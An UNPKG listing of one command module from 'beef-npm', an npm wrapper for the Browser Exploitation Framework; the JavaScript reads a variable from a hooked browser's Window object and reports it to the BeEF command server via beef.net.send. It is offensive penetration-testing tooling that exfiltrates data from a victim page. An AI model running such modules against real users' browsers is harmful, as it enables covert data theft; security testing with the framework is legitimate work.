UNPKG

beef-npm

Version:

Node.js package to install and interact with BeEF (Browser Exploitation Framework)

21 lines (15 loc) 571 B
// // Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* This JavaScript gets value of the specified variable that was set in another script via Window property. */ beef.execute(function() { var payload = "<%= @payload_name %>"; var curl = "<%= @command_url %>"; var cid = "<%= @command_id %>"; beef.debug("The current value of " + payload + " is " + Window[payload]); beef.net.send(curl, parseInt(cid),'get_variable=true'); });